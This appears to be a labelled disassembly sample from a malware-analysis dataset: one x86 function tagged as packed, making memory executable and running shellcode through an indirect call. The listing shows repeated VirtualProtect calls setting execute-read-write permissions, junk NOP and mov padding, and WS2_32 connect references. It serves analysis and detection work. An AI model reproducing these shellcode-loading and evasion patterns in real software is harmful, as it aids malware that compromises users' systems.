Function at 0x4096fe
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0x1c
call fcn.0049c192
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
push 8
call fcn.0049c192
add esp, 4
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, 0x4ae21c
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
jmp 0x409790
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
cmp dword [0x4b4e59], 0
je 0x4097dd
jmp 0x40a792
call fcn.0040a875
test eax, eax
je 0x4097f9
mov dword [0x4b4e59], 1
jmp 0x40a792
mov eax, 0x4ae72a
test eax, eax
je 0x409815
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c192
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x409826
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1770
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x409864
push 0x187
push 0x402cd84
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x1770
push dword [ebp + 8]
push 0xffffffff
call fcn.0040a991
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40989a
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push 0x4ae740
mov ecx, 2
call fcn.00401577
add esp, 8
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4098cf
mov eax, 0x4ae21c
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x4098e3
mov eax, 0x4ae21c
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f320
add esp, 0x28
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x409909
push ebx
call fcn.0049c198
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x409995
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae76d
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae76d
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
mov dword [0x4b4e59], 1
cmp dword [0x4b4e59], 0
jne 0x40a759
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4ae7a7]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 1
fld qword [ebp - 0x3c]
call fcn.004015ce
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x4099f4
push 0x440
push 0x402cd84
push 6
call fcn.0049c19e
add esp, 0xc
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4ae7a7]
fstp qword [ebp - 0x3c]
push 0x80000301
push 0
push 1
fld qword [ebp - 0x3c]
call fcn.004015ce
push 0x80000301
push 0
push eax
push 2
mov ebx, 0x910
call fcn.0049f490
add esp, 0x1c
mov dword [ebp - 0x40], eax
mov eax, 0x4ae7af
xor ecx, ecx
test eax, eax
je 0x409a45
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 0x40]
xor ebx, ebx
test eax, eax
je 0x409a56
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x409a6d
dec eax
test ecx, ecx
je 0x409a6d
call fcn.00409652
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x409a8d
push ebx
call fcn.0049c198
add esp, 4
cmp dword [ebp - 0x44], 0
je 0x409b19
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae7b8
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae7b8
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
mov dword [0x4b4e59], 1
cmp dword [0x4b4e59], 0
jne 0x40a759
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4ae7a7]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
push 0x1c
push dword [ebp - 0x10]
fld qword [ebp - 0x3c]
call fcn.004015ce
push eax
xor eax, eax
call dword [0x4b50ad]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x409b72
push 0x6bf
push 0x402cd84
push 6
call fcn.0049c19e
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x409bbd
push 0x6f3
push 0x402cd84
push 6
call fcn.0049c19e
add esp, 0xc
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x409c0b
push 0x736
push 0x402cd84
push 6
call fcn.0049c19e
add esp, 0xc
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4ae7f2]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1388
fld qword [ebp - 0x3c]
call fcn.004015ce
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x409c5d
push 0x78b
push 0x402cd84
push 6
call fcn.0049c19e
add esp, 0xc
mov dword [ebp - 0x30], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1388
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x409c97
push 0x7c8
push 0x402cd84
push 6
call fcn.0049c19e
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0xffffffff
call fcn.0040a991
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x409cde
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
fild dword [ebx]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fadd qword [0x4ae7fa]
fstp qword [ebp - 0x40]
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x44]
push dword [ebx]
fld qword [ebp - 0x40]
call fcn.004015ce
push eax
push 0xffffffff
call fcn.0040a991
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x409d44
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4ae7f2]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
push 0x1770
fld qword [ebp - 0x3c]
call fcn.004015ce
push eax
push 0xffffffff
call fcn.0040a991
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x409d96
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x1770
push dword [ebp + 8]
push 0xffffffff
call fcn.0040a991
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x409dd0
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 1
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
call fcn.0040aa56
xor ecx, ecx
push eax
lea eax, [ebp - 0x28]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x40a1de
mov ebx, dword [ebp - 0x24]
call fcn.0040265b
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409e29
push 0x9b2
push 0x402cd84
push 4
call fcn.0049c19e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409e46
push 0x9b2
push 0x402cd84
push 1
call fcn.0049c19e
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
cmp dword [ebp + 8], eax
jle 0x40a1d6
mov ebx, dword [ebp - 0x24]
call fcn.0040265b
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409e88
push 0xa0f
push 0x402cd84
push 4
call fcn.0049c19e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409ea5
push 0xa0f
push 0x402cd84
push 1
call fcn.0049c19e
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.0040265b
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409ed9
push 0xa0f
push 0x402cd84
push 4
call fcn.0049c19e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409ef6
push 0xa0f
push 0x402cd84
push 1
call fcn.0049c19e
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x30]
fild dword [ebx]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
mov ebx, dword [ebp - 0x34]
fild dword [ebx]
fstp qword [ebp - 0x44]
fadd qword [ebp - 0x44]
fstp qword [ebp - 0x4c]
fild dword [ebp + 8]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
fsub qword [ebp - 0x4c]
fcomp qword [0x4ae655]
fnstsw ax
test ah, 1
je 0x40a1d6
mov ebx, dword [ebp - 0x24]
call fcn.0040265b
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409f60
push 0xa52
push 0x402cd84
push 4
call fcn.0049c19e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409f7d
push 0xa52
push 0x402cd84
push 1
call fcn.0049c19e
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.0040265b
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409fb1
push 0xa52
push 0x402cd84
push 4
call fcn.0049c19e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409fce
push 0xa52
push 0x402cd84
push 1
call fcn.0049c19e
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x40a017
push 0xa52
push 0x402cd84
push 6
call fcn.0049c19e
add esp, 0xc
mov ebx, dword [ebp - 0x24]
call fcn.0040265b
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40a03e
push 0xabc
push 0x402cd84
push 4
call fcn.0049c19e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x40a05b
push 0xabc
push 0x402cd84
push 1
call fcn.0049c19e
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.0040265b
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40a08f
push 0xabc
push 0x402cd84
push 4
call fcn.0049c19e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x40a0ac
push 0xabc
push 0x402cd84
push 1
call fcn.0049c19e
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0xffffffff
call fcn.0040a991
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40a0f1
push ebx
call fcn.0049c198
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x24]
call fcn.0040265b
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40a11c
push 0xb07
push 0x402cd84
push 4
call fcn.0049c19e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x40a139
push 0xb07
push 0x402cd84
push 1
call fcn.0049c19e
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.0040265b
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40a16d
push 0xb07
push 0x402cd84
push 4
call fcn.0049c19e
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x40a18a
push 0xb07
push 0x402cd84
push 1
call fcn.0049c19e
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x40a1d1
push 0xb07
push 0x402cd84
push 6
call fcn.0049c19e
add esp, 0xc
jmp 0x40a1de
pop eax
pop ebx
pop ecx
jmp 0x409df4
add esp, 0xc
cmp dword [0x4b4e59], 0
jne 0x40a26a
push dword [ebp - 4]
push 0x4ae740
mov ecx, 2
call fcn.00401577
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a21f
mov eax, 0x4ae21c
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x40a233
mov eax, 0x4ae21c
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f320
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a259
push ebx
call fcn.0049c198
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x40a26a
mov eax, 1
jmp 0x40a26f
mov eax, 0
test eax, eax
je 0x40a2f9
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae802
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae802
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
mov dword [0x4b4e59], 1
cmp dword [0x4b4e59], 0
jne 0x40a382
push dword [ebp - 4]
push 0x4ae740
mov ecx, 2
call fcn.00401577
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a337
mov eax, 0x4ae21c
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x40a34b
mov eax, 0x4ae21c
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f320
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a371
push ebx
call fcn.0049c198
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x40a382
mov eax, 1
jmp 0x40a387
mov eax, 0
test eax, eax
je 0x40a411
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae83c
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae83c
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
mov dword [0x4b4e59], 1
cmp dword [0x4b4e59], 0
jne 0x40a49a
push dword [ebp - 4]
push 0x4ae740
mov ecx, 2
call fcn.00401577
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a44f
mov eax, 0x4ae21c
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40a463
mov eax, 0x4ae21c
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f320
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a489
push ebx
call fcn.0049c198
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x40a49a
mov eax, 1
jmp 0x40a49f
mov eax, 0
test eax, eax
je 0x40a529
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae876
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae876
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
mov dword [0x4b4e59], 1
cmp dword [0x4b4e59], 0
jne 0x40a5b2
push dword [ebp - 4]
push 0x4ae740
mov ecx, 2
call fcn.00401577
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a567
mov eax, 0x4ae21c
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x40a57b
mov eax, 0x4ae21c
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f320
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a5a1
push ebx
call fcn.0049c198
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x40a5b2
mov eax, 1
jmp 0x40a5b7
mov eax, 0
test eax, eax
je 0x40a641
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae8b0
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae8b0
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
mov dword [0x4b4e59], 1
cmp dword [0x4b4e59], 0
jne 0x40a6ca
push dword [ebp - 4]
push 0x4ae740
mov ecx, 2
call fcn.00401577
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x40a67f
mov eax, 0x4ae21c
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x40a693
mov eax, 0x4ae21c
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f320
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40a6b9
push ebx
call fcn.0049c198
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x40a6ca
mov eax, 1
jmp 0x40a6cf
mov eax, 0
test eax, eax
je 0x40a759
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae8ea
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74b
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae8ea
push 4
mov ebx, 0x300
call fcn.0049e090
add esp, 0x34
mov dword [0x4b4e59], 1
mov dword [0x4b4e59], 1
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x40a78c
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40a7a2
push ebx
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40a7b2
push ebx
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40a7ce
push ebx
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40a7de
push ebx
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40a7ee
push ebx
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40a7fe
push ebx
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40a81c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40a818
imul eax, dword [ebx]
jmp 0x40a80d
mov ecx, eax
test ecx, ecx
je 0x40a857
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 0x20
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.0049c198
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.0049c198
add esp, 4
pop ebx
call fcn.0049c198
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40a822
call fcn.0049c198
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40a86f
push ebx
call fcn.0049c198
add esp, 4
mov esp, ebp
pop ebp
ret 4